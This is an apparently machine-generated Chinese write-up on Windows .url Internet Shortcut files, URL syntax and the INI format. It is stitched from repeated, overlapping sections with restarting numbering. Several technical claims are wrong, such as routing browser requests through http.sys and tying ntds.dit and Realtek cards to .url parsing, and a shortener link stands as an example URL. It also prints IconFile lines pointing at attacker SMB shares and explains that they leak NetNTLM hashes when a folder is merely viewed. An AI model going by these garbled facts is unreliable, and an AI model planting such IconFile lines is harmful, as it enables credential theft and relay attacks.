.url (Uniform Resource Locator)文件通常是指Windows操作系统中的一种快捷方式文件,用于创建指向网络资源或本地文件系统路径的链接。这种文件类型实际上是文本文件,其内容格式类似于INI(Initialization File)文件,包含了一个URL或者本地文件路径。

.url 完整英文全称、概念与底层配套

一、标准全称

Uniform Resource Locator
 
中文:统一资源定位符
 
文件后缀 .url 是该术语的缩写扩展名。

二、分层拆解词义

  1. Uniform:统一、标准化
  2. Resource:网络 / 本地资源(网页、文件、FTP、HTTP 服务地址)
  3. Locator:定位器,用于精准标记资源的访问路径

三、两种概念区分

1. 协议概念:URL(Uniform Resource Locator)

网络标准规范,如 shturl.cc/KiQ9S5AeQa,是互联网资源寻址标准,http.sys 内核驱动依靠 URL 匹配路由分发请求。

2. Windows 文件:.url 快捷方式文件

Windows 系统专用纯文本快捷文件,后缀.url,本质是 INI 格式文本,存储目标 URL 地址:
ini
[InternetShortcut]
URL=https://example.com
配套工具:netsh http 可向 http.sys 内核注册 URL 路由前缀,管理本机 80/443 端口监听路径。

URL(Uniform Resource Locator,统一资源定位符)完整拆解解构

一、基础定位

URL 是 URI 的子集,作用:通过标准化字符串,定位互联网 / 本地网络上某一个资源的精确位置,同时附带访问方式(协议)
  • URI(统一资源标识符):宽泛概念,包含 URL、URN(统一资源名称,如 urn:uuid:xxx);
  • URL = 协议 + 地址 + 路径 + 参数 + 片段,既能标识资源,又说明如何获取资源
标准语法(RFC 3986 核心规范):
plaintext
scheme://userinfo@host:port/path?query#fragment
分段释义:
  1. scheme:协议(http、https、ftp、file、ws、ldap、smb 等)
  2. userinfo:可选,认证账号密码(不推荐明文传输)
  3. host:域名 / IPv4 / IPv6 地址
  4. port:端口,省略则使用协议默认端口
  5. path:资源在服务器上路径
  6. query:查询参数,? 开头,key=value&key2=value2
  7. fragment:片段锚点,# 后面内容,仅客户端浏览器解析,不会发送给服务端
示例:
 
https://admin:123456@demo.example.com:443/api/list?page=1&size=20#table
重要边界:file:///C:/test.txt 本地文件 URL;ws://127.0.0.1:8080 WebSocket;smb://server01/share Windows 文件共享 URL。

二、底层原理

1. 完整解析流程(客户端侧)

plaintext
输入URL字符串 → URL解析器拆分各组成部分
        ↓
提取scheme,加载对应协议处理栈
        ↓
host部分发起DNS解析:域名 → IP地址
        ↓
操作系统TCP/IP栈建立Socket连接(目标IP:port)
        ↓
按协议规范封装请求(HTTP/HTTPS/FTP等)
        ↓
传输请求(path、query会随请求发送;fragment留在本地)
        ↓
接收服务端响应,渲染/读取资源

2. 关键底层机制

  1. URL 编码(Percent-Encoding,百分号编码)
     
    非 ASCII 字符、保留字符(/ ? # & :)不能直接传输,使用 %XX 十六进制转义;
     
    例:空格 → %20,中文先 UTF-8 再编码。
# 是特殊分隔符:浏览器截断,# 后面内容不进入 HTTP 请求报文
  1. 相对 URL vs 绝对 URL
  • 绝对 URL:完整带 scheme,可独立访问;
  • 相对 URL:/api/list../static/a.js,依靠基准 URL (Base URL)拼接成完整 URL。
  1. 同源策略(浏览器特有安全约束)
     
    协议、域名、端口三者任一不同,视为跨域;由浏览器 URL 解析模块配合网络安全策略控制。
  2. HTTPS 额外链路
     
    URL scheme=https → 触发 TLS 握手,建立加密隧道后再传输 HTTP 报文;证书校验域名匹配 Host。

3. Windows 系统特殊 URL 协议处理器

Windows 支持URL 协议关联(URL Protocol Handler),例如:
 
mailto:tel:ms-settings:mstsc:steam:http:https:
 
注册表注册对应程序,操作系统收到对应 URL 时启动指定应用处理。

三、依赖文件 & 系统组件(Windows 平台视角)

1. 用户应用层(浏览器 / 客户端)

  • urlmon.dll:Windows URL 解析、编码、HTTP 基础客户端(IE 内核、很多系统工具依赖)
  • winhttp.dll:WinHTTP,提供 HTTP/HTTPS 客户端 API(系统原生网络库)
  • wininet.dll:WinInet,老旧 HTTP 客户端(IE 遗留)
  • crypt32.dll:HTTPS 场景,证书校验、TLS 加密依赖
  • ws2_32.dll:Winsock2,Socket 底层网络接口
  • dnsapi.dll:DNS 域名解析

2. 内核底层依赖

  • tcpip.sys Windows TCP/IP 协议栈
  • afd.sys Windows 套接字驱动
  • 网卡 NDIS 驱动(有线 / 无线网卡驱动,提供物理传输)

3. 注册表关键配置(URL 协议、处理器)

plaintext
HKCR\http\shell\open\command      # http默认打开程序
HKCR\https\shell\open\command
HKLM\SOFTWARE\Policies\Microsoft\Windows\URLProtocols
用于管控哪些 URL 协议允许运行、关联程序。

4. 配置 / 辅助文件

  • C:\Windows\System32\drivers\etc\hosts 静态域名解析,优先于 DNS;
  • 浏览器证书库、代理配置文件;
  • PAC 代理脚本(自动代理配置,基于 URL 规则选择代理)。

四、完整依赖关系链路

链路 1:浏览器访问 HTTPS URL 典型链路

plaintext
用户输入URL字符串 → 浏览器内置URL解析器拆分scheme/host/path/query
        ↓
host传递至dnsapi.dll → 查询DNS得到目标IP(优先hosts)
        ↓
调用ws2_32.dll → tcpip.sys建立TCP连接
        ↓
scheme=https → crypt32.dll执行TLS握手、证书验证
        ↓
封装HTTP请求(method + path + query)发送至服务端(fragment丢弃)
        ↓
接收响应,下载资源;本地解析fragment锚点滚动页面

链路 2:系统调用 URL 协议处理器(例如 mstsc:// URL)

plaintext
程序传递字符串 mstsc://192.168.10.10
        ↓
Windows Shell解析URL scheme=mstsc
        ↓
读取注册表HKCR\mstsc: 找到关联程序mstsc.exe
        ↓
启动mstsc.exe并传入地址参数

链路 3:脚本 / 工具中 URL 处理(关联你之前关注 MDT ZTIGather.wsf)

ZTIGather.wsf、VBScript 通过 MSXML2.XMLHTTP 访问网络 URL:
plaintext
VBS脚本 → MSXML库 → urlmon.dll/winhttp.dll → Winsock → TCP/IP栈 → 网络
MDT 部署时经常通过 URL 下载脚本、驱动包、配置文件。

五、与前面技术栈联动关系

  1. 有线网卡 / Wi‑Fi 网卡 + DHCP
     
    URL 访问依托网卡建立网络;DHCP 下发 IP、网关、DNS 服务器地址,没有 DNS 无法解析 URL 内域名;
  2. CSME / vPro AMT
     
    AMT 管理界面、MeshCommander、远程 Web 控制台使用 HTTP/HTTPS URL 访问带外管理接口;
  3. Windows Defender Credential Guard
     
    当 URL 访问需要 NTLM/Kerberos 认证时,系统调用 LSASec 资源;CG 保护认证凭据不被内存窃取;
  4. ZTIGather.wsf(MDT)
     
    部署脚本经常通过 HTTP/HTTPS URL 拉取外部清单、资产接口;URL 解析失败直接导致自动化采集中断;
  5. W32Time
     
    访问 HTTPS、TLS 服务时,系统时间错误会导致证书过期校验失败,URL 访问报错。

六、典型故障断链场景

  1. URL 格式非法
     
    缺少://、非法字符未编码、端口超出范围 → 解析器直接拒绝,无法发起网络请求。
  2. DNS 解析失败
     
    URL 域名无法转换成 IP;表现:能 ping IP,但无法通过域名 URL 访问。
  3. TLS 证书不匹配
     
    URL 域名与证书 SAN 不一致、系统时间漂移 → HTTPS 阻断。
  4. #锚点误区
     
    修改 URL 中 #后面内容,抓包看不到任何变化,很多人误以为网络异常。
  5. 相对路径基准 URL 错误
     
    页面内相对 URL 拼接错误,404 找不到资源。
  6. 代理 / PAC 规则拦截 URL
     
    企业环境 PAC 脚本按 URL 匹配策略,禁止访问目标地址。
  7. URL 协议被组策略禁用
     
    例如禁止file://跨域访问、禁止自定义协议处理器,脚本调用直接失败。
  8. 编码问题
     
    中文、特殊符号未做百分号编码,服务端收到乱码参数。

七、配套链|运维工具、调试手段

1. 命令行调试工具

cmd
# 测试DNS解析
nslookup example.com
Resolve-DnsName example.com

# HTTP客户端测试URL
curl https://example.com
Invoke-WebRequest -Uri "https://example.com"

# 追踪路由
tracert example.com

2. 抓包分析

Wireshark:观察 DNS 报文、TCP 握手、HTTP 请求内容,区分 path/query 是否正常发送;
 
Fiddler/Charles:Windows HTTP 代理,查看完整 URL 请求与响应。

3. 开发 / 脚本常用 URL 处理库

  • VBScript:MSXML2.XMLHTTPUrlEncode自定义函数(ZTIGather 类脚本广泛使用)
  • PowerShell:[Uri] .NET 原生 URL 解析类
  • JavaScript:URL() 对象标准解析器

4. 安全配套基线

  1. 内部业务优先使用 HTTPS,禁用明文 HTTP URL;
  2. 严格校验输入 URL,防御 URL 跳转漏洞、SSRF;
  3. 组策略管控允许运行的自定义 URL 协议;
  4. PAC 代理规范化,按 URL 域名划分内外网访问策略。

八、极简总结

  1. URL 遵循 RFC3986,由 scheme://host/path?query#fragment 构成,用来定义「访问协议 + 资源位置」;fragment 仅客户端本地解析,不上传服务器;
  2. 访问链路:字符串解析 → DNS 域名解析 → TCP 连接 → 协议交互;Windows 依靠winhttp.dll/urlmon.dlldnsapi.dll、Winsock 与 TCPIP 栈完成整套流程;
  3. Windows 具备 URL 协议处理器机制,可以把自定义 scheme 绑定程序;大量自动化脚本(MDT ZTIGather)依赖 URL 下载资源;
  4. 上游依赖网卡、DHCP、DNS;HTTPS 场景依赖系统证书服务与系统时间;认证场景联动 LSA / Credential Guard;
  5. 高频故障点:DNS 解析、证书时间校验、URL 编码、锚点认知误区、跨域 / 代理拦截。
 

.url 文件

官方标准英文名称:URL File
  • 后缀:.url
  • 扩展名来源缩写:Uniform Resource Locator File
Uniform Resource Locator = URL(统一资源定位符)

补充关键信息

  1. 正式规范叫法
     
    Windows Shell 文档、微软 SDK 统一称为:URL shortcut file / URL File
  2. 文件本质
     
    纯文本 INI 格式文件,内核 / Shell 不把它当成二进制 lnk;
     
    典型内容示例:
    ini
    [InternetShortcut]
    URL=https://example.com
    IconFile=...
  3. 区分极易混淆的两种快捷方式
    • .url:URL File → 网页 / 网络资源快捷方式(INI 文本)
    • .lnk:Shell Link(Windows Shortcut)→ 文件 / 程序二进制快捷方式

小结

  • 缩写:URL = Uniform Resource Locator
  • 文件全称:Uniform Resource Locator File
  • 日常行业通用名称:URL Shortcut File

四、配套系统链路关联

  1. http.sys 内核维护全局 URL 路由哈希表,区分不同站点注册的 URL 前缀;
  2. 域环境中 URL 访问权限绑定账户 SID,ACL 校验依托 ntds.dit 存储的安全标识符;
  3. Realtek 网卡承载 URL 对应的 TCP 网络流量,配合内核缓存优化静态资源 URL 访问性能。

五、相关标准缩写对照

缩写 全称 含义
URL Uniform Resource Locator 统一资源定位符
URI Uniform Resource Identifier 统一资源标识符
URN Uniform Resource Name 统一资源名称

INI 文件英文全称、定义、底层配套协同

一、完整英文全称

1. 原始溯源全称

Initialization File
 
中文:初始化配置文件
  • Initialization:初始化、启动参数配置
  • File:文件
     
    后缀 .iniInitialization 的缩写形式。

2. 行业通用官方描述

微软文档统一称:INI Configuration File(INI 配置文件)

二、格式基础概念

  1. 标准分层结构:节[Section] + 键值对Key=Value,纯文本存储,无二进制编码;
  2. 历史起源:早期 Windows 1.0/3.x 用于系统、应用启动参数存储,如今仍大量用于内核驱动、运维工具配置;
  3. 典型系统路径示例:
    • http.sys 内核驱动参数:HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters(注册表底层存储逻辑继承 INI 键值设计)
    • 网卡 Realtek 驱动、第三方服务、旧版应用独立.ini配置文件

三、和 Windows 底层组件配套关联

1. 注册表与 INI 同源设计逻辑

Windows 注册表键值模型直接沿用 INI 文件的节-键-值设计思想:
  • INI:[HTTP] UriMaxCacheMegabyteCount=2048
  • 注册表:项 = Section、DWORD / 字符串值 = Key=Value
     
    http.sys、网卡驱动、AD 域工具(ntdsutil)全部依靠这套键值结构存储调参配置。

2. 常用操作 API

  • GetPrivateProfileString / WritePrivateProfileString:原生 Win32 INI 读写接口
  • 管理员命令reg add:本质操作注册表 “类 INI” 配置,用于调整 http.sys 缓存、Realtek 网卡高级参数

3. 全链路配套场景

  1. 内核驱动:http.sys、tcpip.sys 启动读取注册表(类 INI 参数),加载缓存上下限、连接池阈值;
  2. 网卡驱动:Realtek 网卡高级 RSS、巨型帧参数存储在注册表 INI 式键值;
  3. AD 运维:ntdsutil、klist、tpmvscmgr 工具启动读取 INI / 注册表配置;
  4. 快捷方式:.url互联网快捷文件内部采用 INI 文本格式存储 URL 地址。

四、同类配置格式对照

缩写 英文全称 用途
INI Initialization File 传统分段键值配置
XML Extensible Markup Language 复杂分层应用配置(IIS web.config)
JSON JavaScript Object Notation 现代程序轻量化配置
REG Registry File 注册表导出文件,兼容 INI 键值逻辑

五、核心特点总结

  1. 命名由来:程序启动(Initialization)阶段读取配置,因此缩写为 INI;
  2. 设计传承:Windows 注册表、各类驱动参数配置均继承 INI 文件节-键-值的分层模型,是系统底层调参的基础数据载体;
  3. 兼容场景:从老式桌面程序,到 http.sys 内核缓存、Realtek 网卡硬件参数、AD 域运维工具全链路通用。

.url(Internet Shortcut / Internet 快捷方式)完整演进脉络

正式全称:Internet Shortcut File
 
扩展名.url;内核 / Shell 标识 CLSID:{000214A0-0000-0000-C000-000000000046}
 
本质:INI 风格纯文本文件(上层配套 COM InternetShortcut 对象封装读写接口),区别于二进制.lnk(Shell Link)
最简标准骨架(唯一必填项)
ini
[InternetShortcut]
URL=https://example.com

一、诞生阶段:Windows 95 / IE 2.0~IE3.0(1995–1996)

背景

Windows 95 同步推出.lnk本地快捷方式;伴随互联网兴起,微软需要一套独立机制保存网页 / FTP 链接,区分本地文件链接与网络 URI
 
.urlWindows 95 Plus! + IE2/IE3正式落地。

初代特性

  1. 仅支持核心键:URL=;协议支持 http:// ftp:// gopher:// file://
  2. 无自定义图标、热键、窗口控制字段;
  3. Shell 识别逻辑简易:读取[InternetShortcut]节,交由 IE 打开;
  4. 仅支持 ANSI 文本(Shift-JIS/GBK),无原生 Unicode 支持
  5. 无官方公开规范,依靠逆向工程解析;
  6. 不能传递启动参数、无工作目录配置。

局限

功能极简,仅完成 “保存链接” 单一目标;自定义能力极弱。

二、功能扩充期:IE4.0 / Windows 98(1997–1999)

重大演进

  1. 新增扩展字段体系,奠定沿用至今的字段标准:
    • IconFile / IconIndex:自定义图标
    • HotKey:全局快捷键
    • ShowCommand:窗口模式(正常 / 最大化 / 最小化)
    • Modified:FILETIME 时间戳标记变更时间
  2. 配套 Active Desktop(活动桌面),.url可直接作为桌面组件;
  3. COM 接口定型:IInternetShortcutIPersistFile,允许程序读写.url
  4. 开始支持 UNC 路径、本地file://协议广泛用于局域网文档链接;
  5. 资源管理器属性面板新增【Web 文档】标签页可视化编辑。
典型完整版模板(98 时代定型)
ini
[InternetShortcut]
URL=https://example.com
Modified=D0xxxxxxxxxxxxxx
IconFile=%SystemRoot%\system32\shell32.dll
IconIndex=13
HotKey=0
ShowCommand=1

三、NT 体系统一 & 桌面深度整合:Windows 2000 / XP(2000–2006)

核心变化

  1. 9x 与 NT 内核 Shell 统一解析逻辑,Windows NT4.0 后期追加兼容支持
  2. XP 强化收藏夹 (Favorites) 底层存储全部采用.url
  3. 支持环境变量路径(%windir%)解析;
  4. 引入漫游用户配置文件支持,.url跟随用户配置漫游;
  5. 安全雏形:Shell 校验协议前缀,阻止无协议裸路径;
  6. 大量第三方浏览器(Firefox、Opera)适配拖拽生成.url

关键分水岭

此时形成两套并行快捷方式体系:
  • .lnk:二进制、本地程序 / 文件、支持启动参数、工作目录、管理员权限、链路跟踪
  • .url:文本、URI 链接、原生不支持传递命令行参数(历史埋下安全边界)

四、安全加固阶段:Vista / Win7(NT6.0/6.1,2007–2012)

演进重点(安全为主,功能不再新增)

  1. 会话 0 隔离、UAC 完整性级别校验生效;低完整性进程生成 / 读取.url受到限制;
  2. Shell 开启更严格协议白名单;逐步限制危险伪协议;
  3. 埋下日后安全隐患边界:Shell 允许URL=使用javascript:ms-*协议,后期成为钓鱼向量;
  4. 不再拓展新 INI 字段,微软策略定型:冻结格式,维持向后兼容,不再增加新特性
  5. IE 逐步弱化 Active Desktop,.url桌面组件功能被废弃。

五、现代持续兼容 & 安全攻防博弈:Win8 / Win10 / Win11(2012 至今)

技术状态

  1. 格式完全冻结,没有语法更新,1998 年定义的字段全集沿用至今;
  2. Windows 10/11 默认浏览器切换为 Edge,.url自动调用系统默认浏览器,不再绑定 IE;
  3. 重大安全现象爆发:
    • 攻击者利用.url可引用本地图标文件(IconFile=\\attacker\share\mal.ico)实现远程 SMB 哈希窃取(NetNTLM 中继)
    • 结合javascript:协议、本地协议用于钓鱼;
       
      各大 EDR、组策略开始监控、限制不受信任.url分发;
  4. AppContainer 沙箱(UWP)默认限制跨容器读取外部.url
  5. 微软持续发布 Shell 安全补丁收紧.url解析行为,但绝不废弃格式(海量收藏夹、旧业务依赖)。

生态分流

  • Windows 平台:继续原生支持拖拽生成;
  • 跨平台软件:逐步改用.desktop、自定义 JSON 链接,不再依赖.url
  • macOS 等价格式:.webloc;Linux 等价:.desktop URL 条目。

六、关键技术演进总结(.url vs .lnk 演进路线差异)

维度 .url Internet Shortcut .lnk Shell Link
文件格式 纯文本 INI,人可读 二进制私有格式(有官方规范 [MS-SHLLINK])
诞生 Win95+IE3(1996) Windows 95 首发(1995)
定位 URI / 网络资源链接 本地文件、程序、目录快捷方式
扩展性 冻结,不再新增字段 持续迭代,不断追加数据块(控制台、目标跟踪、Vista + 扩展块)
命令行参数 原生不支持 完整支持参数、工作目录、运行权限
远程风险 高(IconFile 触发 SMB 请求、伪协议) 同样存在攻击面,但攻击向量不同
跨系统兼容 仅限 Windows 原生解析 仅限 Windows 原生解析

七、长期趋势判断

  1. 不会被移除:数百万历史系统、收藏夹、运维脚本依赖;
  2. 功能永久锁定:微软不会扩展新语法、新字段;
  3. 持续收紧安全策略:未来组策略可全局阻断不受信任.url执行;
  4. 新项目跨平台场景不推荐采用,优先使用标准 URI 文本、JSON 链接替代。

.url 文件 [InternetShortcut] 全部已知字段清单与取值规范

基础规则:
  1. 唯一强制字段:URL;其余全部可选;
  2. 文件本质为类 INI 纯文本;原生早期 ANSI,现代 Shell 支持 UTF-8;换行 CRLF
  3. 分为【微软文档正式字段】、【IE 遗留非官方字段】、【内部调试 / 废弃字段】三类;
  4. 区分:INI 文本字段 ≠ IInternetShortcut COM 属性(COM 额外拥有更多属性,不会写入文本);
  5. 所有字段大小写不敏感,行业约定首字母大写。

一、官方稳定可用字段(Windows 98 ~ Win11 全兼容,属性面板可见)

字段名 含义 取值规范 备注 & 边界说明
URL 目标资源地址 URI 字符串;支持 http:// https:// ftp:// file:// javascript:// ms-settings:// 等 Windows 识别协议 必填;常规长度上限≈2083 字符;直接双击由默认协议处理器打开;安全重点攻击面
IconFile 自定义图标文件路径 本地路径、环境变量 %SystemRoot%.ico/.exe/.dll支持 UNC 网络路径 高危安全点:IconFile=\\attacker\share\icon.ico 会主动向外 SMB 请求,触发 NetNTLM 哈希窃取
IconIndex DLL/EXE 内图标索引号 十进制整数 ≥ 0 IconFile 存在时生效;0 代表第一个图标
HotKey 全局快捷键 十进制整数;编码规则:
 
键值 + Shift(256) + Ctrl(512) + Alt(1024)
 
HotKey=0 = 无快捷键
示例:Ctrl+Alt+G = 71+512+1024=1607;仅桌面 URL 快捷方式全局生效
ShowCommand 窗口启动模式 1= 正常 (默认)
 
3= 最大化
 
7= 最小化
现代 Edge 等浏览器多数不再遵守此参数;遗留 IE 有效
Modified 快捷方式修改时间戳 16 位十六进制大写字符串(逆序 FILETIME) IE 保存时自动写入;手动修改无功能影响,仅元数据;不要随意伪造用于取证场景
WorkingDirectory 工作目录 本地路径字符串 Vista 之后基本失效;仅早期 IE 使用;现代浏览器完全忽略

二、IE 遗留、可写入文本但现代系统弱化支持字段(非正式文档,收藏夹历史遗留)

字段名 含义 取值规范 现状
IDList PIDL 二进制十六进制存储 十六进制字符串 保存 Shell 项 ID 列表;拖拽生成本地file://类 url 时常出现;资源管理器优先读取 IDList 定位资源;普通网页 url 为空 IDList=
Comment / Desc 备注 / 提示文本 自由字符串 旧版属性面板提示信息;Win10/11 不再显示
Author 作者信息 字符串 IE 收藏夹元数据,无系统功能逻辑
WhatsNew 更新说明文本 字符串 Active Desktop 频道订阅遗留(现已废弃)
Roamed 漫游标记 0 / 1 用户配置文件漫游标识,现代 Windows 不再解析

三、扩展附属节(不属于 [InternetShortcut],一并收录便于完整文档)

这些是同文件内其他 Section,不属于主节,但真实存在于 IE 生成文件
ini
[DEFAULT]
BASEURL=        # HTML帧集基准路径,Active Desktop遗留

[Bookmarklet]
ExtendedURL=    # 支持超长书签脚本(突破URL长度限制,旧IE书签小工具使用)

四、废弃 / 仅内部 COM 属性(不会写入 url 文本文件,仅通过 IInternetShortcut 接口读写)

下列属性存在于 FMTID_Intshcut 属性集,但不出现在文本 INI 中,无法直接记事本编辑:
  • PID_IS_NAME:快捷方式显示名称(文件名本身控制,不存入内容)
  • PID_INTSITE_DESCRIPTION、PID_INTSITE_FLAGS、订阅相关字段(Active Channel 全部废弃)

五、关键字段深度规范详解

1)HotKey 编码公式

plaintext
HotKey = 虚拟键码 + 修饰符
Shift = 256 (0x0100)
Ctrl  = 512 (0x0200)
Alt   = 1024(0x0400)
示例:Alt+S(S=83) → HotKey=1107
限制:不能使用 Win 键;仅放置在桌面的 url 文件全局热键生效;存放在文件夹内不触发。

2)Modified 时间格式重点(极易踩坑)

原生值示例:
plaintext
Modified=D078BA5C940BD8014D
结构:8 字节 FILETIME 小端逆序存储 + 末尾 1 字节校验位
 
标准 Win32 FileTimeToSystemTime 不能直接解析,需要反转字节序;现代应用程序普遍选择直接忽略此字段。

3)IconFile 高危行为说明

ini
[InternetShortcut]
URL=https://example.org
IconFile=\\192.168.1.100\share\test.ico
IconIndex=0
资源管理器加载图标时主动发起 SMB 连接,无需双击 URL,仅浏览文件夹预览即触发;是内网横向移动、NTLM 中继经典向量。

六、最简标准模板 & 完整版参考模板

最小合法文件(可直接运行)

ini
[InternetShortcut]
URL=https://www.example.com

完整常用生产模板

ini
[InternetShortcut]
URL=https://www.example.com
IconFile=%SystemRoot%\system32\shell32.dll
IconIndex=13
HotKey=0
ShowCommand=1
Modified=D078BA5C940BD8014D
IDList=

七、兼容性与演进边界总结(对应前面演进文档)

  1. Win95/IE3:仅支持 URL;无其余字段;
  2. IE4 / Win98:新增 IconFile/IconIndex/HotKey/ShowCommand/Modified,格式定型;
  3. Win2000/XP:补充 IDList、Comment 等收藏夹扩展字段;
  4. Vista 及之后:不再新增任何字段;WorkingDirectory、ActiveDesktop 相关字段逻辑冻结、逐步失效;
  5. Win10/11:字段集合完全不变,仅持续收紧协议、UNC 图标文件安全策略;
  6. 重要结论:不存在官方扩展标准,所有新增字段均为 IE 私有遗留;新项目不要依赖非核心字段功能

 

 


.url 文件通常是指Windows操作系统中的一种快捷方式文件,用于创建指向网络资源或本地文件系统路径的链接。这种文件类型实际上是文本文件,其内容格式类似于INI文件(INI Configuration File),包含了一个URL或者本地文件路径。

主要特点和用途:

  1. 创建快捷方式

    • .url 文件允许用户创建指向特定网页、FTP站点或本地文件的快捷方式,类似于桌面上的常规快捷方式,但是它们通常用于存储在文件系统中,可以通过文件管理器或命令行打开。
  2. 内容格式

    • .url 文件是纯文本文件,内容以INI文件格式保存。其基本结构如下:
      Copy Code
      [InternetShortcut]
      URL=http://example.com/path/to/resource
      其中,URL= 后面是实际的链接地址,可以是HTTP、FTP、本地文件路径等。
  3. 用途和应用

    • 网络书签管理:可以将重要的网页链接保存为.url文件,便于稍后访问和共享。
    • 桌面整理:通过将.url文件存储在文件夹中,可以在需要时快速访问各种资源。
    • 批处理和自动化:可以在脚本或程序中使用.url文件来打开特定的网络资源或文件,以简化操作和提高效率。
  4. 跨平台兼容性

    • 尽管.url文件格式是Windows特定的,但大多数现代操作系统和应用程序都能识别和处理这种文件类型,尤其是可以通过浏览器打开URL。

.url文件是一种简单但实用的文件类型,用于在Windows系统中创建和管理链接到网络资源或本地文件的快捷方式。


Windows .url(Internet Shortcut)底层完整原理

一、基础定义与文件本质

  1. 文件全称:Windows Internet Shortcut(互联网快捷方式),后缀.url
  2. 底层存储载体:纯文本INI(Initialization File) 格式文件,无二进制封装,可直接用记事本读取编辑;
  3. MIME 标识application/x-mswinurl,系统可识别的专用网页快捷文件类型;
  4. 核心定位:仅存储资源定位字符串(URL 统一资源定位符),不缓存网页内容,作为系统 Shell 与浏览器之间的跳转中介。

二、文件底层存储结构(INI 标准分层)

1. 强制核心段(缺一不可)

固定节头 [InternetShortcut],系统解析的唯一识别标识,核心必填键:
ini
[InternetShortcut]
# 核心字段:标准URL字符串(http/https/file/ftp等协议)
URL=https://learn.microsoft.com

2. 可选扩展元数据键值(INI 键值对设计)

字段 底层作用
IconFile / IconIndex 指定桌面显示图标文件与图标索引,Shell 渲染桌面图标时读取
HotKey 全局快捷键绑定,Shell 注册热键事件
Modified 文件修改时间十六进制时间戳,用于缓存刷新判断
IDList 二进制序列化资源 ID 列表,兼容本地文件、网络路径跳转
WorkingDirectory 浏览器启动工作目录
完整示例文件:
ini
[InternetShortcut]
URL=https://learn.microsoft.com
IconFile=C:\Windows\System32\shell32.dll
IconIndex=13
HotKey=0
Modified=40E44752A6A8CE01

3. 编码规范

默认采用系统 ANSI 编码,现代 Windows 推荐 UTF-8,中文、特殊 URL 字符需做 URL 编码,否则url.dll解析失败。

三、系统解析执行底层链路(双击打开完整流程)

1. 文件关联注册表绑定(系统识别入口)

注册表路径:HKEY_CLASSES_ROOT\InternetShortcut
  • 打开命令配置:rundll32.exe url.dll,FileProtocolHandler %1
  • 系统双击.url文件时,Shell 自动调用url.dll中的FileProtocolHandler解析器;

2. 解析内核:url.dll(用户态 Shell 辅助库)

  1. 读取.url文本,按 INI 规则解析[InternetShortcut]段下URL字段;
  2. 校验协议合法性(http/https/file 等),过滤恶意非法协议;
  3. 将解析后的标准 URL 字符串转发至系统 URL 协议调度器;

3. 协议调度与浏览器启动

  1. 系统读取HKEY_CLASSES_ROOT\HTTP/HTTPS注册表,匹配默认浏览器进程;
  2. 传递 URL 参数启动浏览器,浏览器发起标准网络请求;

4. 网络底层协同(联动 http.sys、Realtek 网卡)

浏览器发起 TCP 请求流程:
 
浏览器进程 → httpapi.dll → http.sys 内核驱动 → tcpip.sys → Realtek 网卡硬件,完成网页资源拉取。

四、配套系统底层协同组件

1. Shell32.dll

负责拖拽生成.url文件(浏览器地址栏拖拽到桌面自动写入 INI 结构)、桌面图标渲染、右键菜单管理。

2. url.dll(核心解析库)

唯一专门处理.url文件的系统动态库,承担 INI 读取、URL 校验、协议转发全逻辑,无此 DLL 文件无法正常跳转。

3. 注册表协议体系

  1. InternetShortcut.url文件类型关联;
  2. http/https:网络协议默认浏览器绑定;
  3. HTTP\Parameters:http.sys 内核 URL 路由缓存配置,控制网页请求内核性能。

4. AD 域安全体系联动

  1. .url文件访问权限依托 NTFS ACL,底层基于账户SID(Security Identifier) 校验读写权限;
  2. 企业域内分发的.url 快捷方式,访问内网 http.sys 托管站点时,自动携带当前登录账户 Kerberos 票据(klist 查看票据);
  3. 域控ntds.dit存储账户 SID、服务 SPN,支撑内网 URL 资源权限管控。

五、核心底层特性与设计优势

1. 轻量化 INI 文本架构

文件体积通常仅几百字节,无复杂二进制结构,脚本、组策略可批量生成、修改,企业批量分发内网导航链接成本极低。

2. 协议解耦分层设计

.url仅存储地址字符串,不绑定固定浏览器;修改默认浏览器无需改动所有.url 文件,由系统协议注册表统一调度。

3. 兼容多协议全场景

不仅支持 HTTP 网页,还可存储file://本地文件、ftp://文件服务器、ldap://AD 域查询、TPM 管理页面等各类标准 URL 资源,打通本地、内网、互联网全链路。

4. 与 http.sys 内核缓存协同

.url指向静态资源站点时,浏览器请求命中 http.sys 内核缓存,直接在内核返回资源,减少 w3wp.exe 进程 CPU 开销,搭配 Realtek 万兆网卡实现高速素材访问。

六、底层限制与设计取舍

  1. 仅存储地址,无资源缓存
     
    .url只记录访问路径,不会缓存网页、图片资源,反复访问同一地址仍会发起完整网络请求;内核缓存由 http.sys 独立管控,与.url 文件无存储关联。
  2. 依赖url.dll解析,删除该库后所有.url 文件失效;
  3. 无独立权限隔离,文件本身不携带身份凭证,访问受当前登录账户 SID 权限约束,内网受限资源仍需 Kerberos 票据认证;
  4. 跨平台不兼容:仅 Windows 原生支持,macOS 使用.webloc、Linux 使用.desktop,格式不互通。

七、完整串联总链路

plaintext
用户双击 .url 文件
↓
Windows Shell → 读取注册表关联 → 调用 rundll32 url.dll,FileProtocolHandler
↓
url.dll 解析INI文本,提取URL字符串,校验协议合法性
↓
系统协议调度器匹配默认浏览器进程,传入目标URL
↓
浏览器 → httpapi.dll → http.sys(内核HTTP驱动) → tcpip.sys
↓
Realtek网卡硬件 → 网络传输,拉取网页资源
安全配套:SID权限校验、klist Kerberos票据、ntds.dit域身份存储
调优配套:netsh http 管理内核URL缓存参数

Windows .url 文件完整配套链路(分层:文件层→解析组件→协议调度→网络内核→安全 / 运维工具全链条)

一、文件存储层配套(基础载体)

  1. 底层格式标准:INI(Initialization File)
     
    .url 文件本身是纯文本 INI 结构,固定段头[InternetShortcut],使用Key=Value存储 URL、图标、快捷键等元数据;可通过记事本、PowerShell、批处理直接读写修改。
  2. NTFS 文件系统
     
    存储磁盘介质,文件读写权限基于账户SID(Security Identifier) 校验 ACL;域环境下文件权限策略同步存储至ntds.dit,管理员可通过组策略批量分发.url 快捷方式。
  3. 桌面 Shell 渲染组件:shell32.dll
     
    负责拖拽生成.url(浏览器地址栏拖到桌面自动写入 INI 配置)、桌面图标读取、右键菜单、文件属性面板展示。

二、解析执行核心配套(.url 专属处理组件)

url.dll(核心解析库,不可缺失)

  1. 入口函数:FileProtocolHandler,系统双击.url 时由rundll32.exe加载调用;
  2. 核心职能:读取 INI 文本提取 URL 字段、校验协议合法性、过滤危险协议,将合法 URL 推送至系统协议调度;
  3. 配套启动载体:rundll32.exe,作为轻量进程承载 url.dll,完成解析后自动销毁。

注册表类型关联配置(识别入口)

路径:HKEY_CLASSES_ROOT\InternetShortcut
  • Open 命令绑定:rundll32.exe url.dll,FileProtocolHandler "%1"
  • 定义.url 后缀图标、右键菜单、默认打开行为;
